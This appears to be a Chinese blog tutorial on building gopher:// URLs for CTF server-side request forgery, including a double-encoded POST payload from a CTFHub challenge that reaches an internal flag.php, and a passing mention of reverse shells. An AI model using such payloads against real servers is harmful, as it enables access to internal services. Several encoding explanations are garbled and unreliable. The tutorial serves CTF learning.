Gopher 协议详解

2023-02-25 17:31:00 浏览数 (1)

Gopher 协议详解

介绍

Gopher协议是什么?它是Internet上的一种信息查找协议,什么是信息查找协议?Http协议听过吧,http也是internet上的信息查找协议,但Gopher出现的时间比http协议更早。他们的关系就像爸爸和儿子的关系,只不过‘儿子’现在比爸爸更加流行,‘爸爸’也渐渐没人知道了而已。一般人基本都不会主动了解这个协议,想要了解这个协议的人,估计90%都是为了打CTF而来的。

Gopher 构造数据包

发送gopher协议数据包时为什么要二次url编码?具体原因请参考博文:Gopher为什么要二次url编码 gopher构造好的数据包如何进行二次编码:很简单,只要将构造好的gopher包中的:字符改成url编码即可,比如将:?:= % 空格 回车换行 等改成相对应的url编码发送即可。

Gopher协议格式:gopher://:/_后接TCP数据流

构造 GET 请求方式发送

构造get请求不像post请求,它不需要添加构造特定的字段头。如何构造?直接上列子:

代码语言:javascript复制
gopher://127.0.0.1:80/_GET /index.php?id=10 HTTP/1.1
HostHost: 127.0.0.1

# 上面这一串东西代表什么?表示向127.0.0.1:80/index.php?id=10 以get方式请求服务器。
也支持curl发送请求:
curl -v gopher://127.0.0.1:80/_GET /index.php?id=10 HTTP/1.1
HostHost: 127.0.0.1

	
为了更好看懂gopher数据包,还是先说一下各个编码的意思把:
-  :是空格的url编码。
- ?:是?的url编码。
- =:是= 的url编码。
- 
:代表gopher协议中的回车换行,在构造gopher数据包结束时要在最后添加这个东西代表结束。
是url中的换行。
- %:是% 的url编码。
- ::是:的url编码。
(tips:这些常见的url编码还是记下来比较好,反正经常看见。)

构造POST 请求方式发送

构造POST至少需要在gopher中添加如下四个字段:

代码语言:javascript复制
# 字段里面的内容可以按照你的实际情况修改
POST /index.php?id=1 HTTP/1.1
Host: 192.168.0.111
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

展示一个post请求的列子把,这是ctfhub.web.ssrf中的关于post请求的一个题目:

gopher包经过二次编码后的样子

****?url=gopher://127.0.0.1:80/_%0D%0A%0D%0APOST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3Ddec564c6ce41065829a2d8680a1600e9%0D%0A%0D%0A%0D%0A

把gopher二次编码后进行第一次还原:

****?url=gopher://127.0.0.1:80/_ POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Length: 36 Content-Type: application/x-www-form-urlencoded key=dec564c6ce41065829a2d8680a1600e9

把gopher二次编码后进行第二次还原:

代码语言:javascript复制
?url=
gopher://127.0.0.1:80/_

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=dec564c6ce41065829a2d8680a1600e9

现在应该懂了吧,兄弟们。 gopher的简单使用大概就是这样,听说他还能反弹shell,我暂时还没试过,等试过了,在来补充吧!

0 人点赞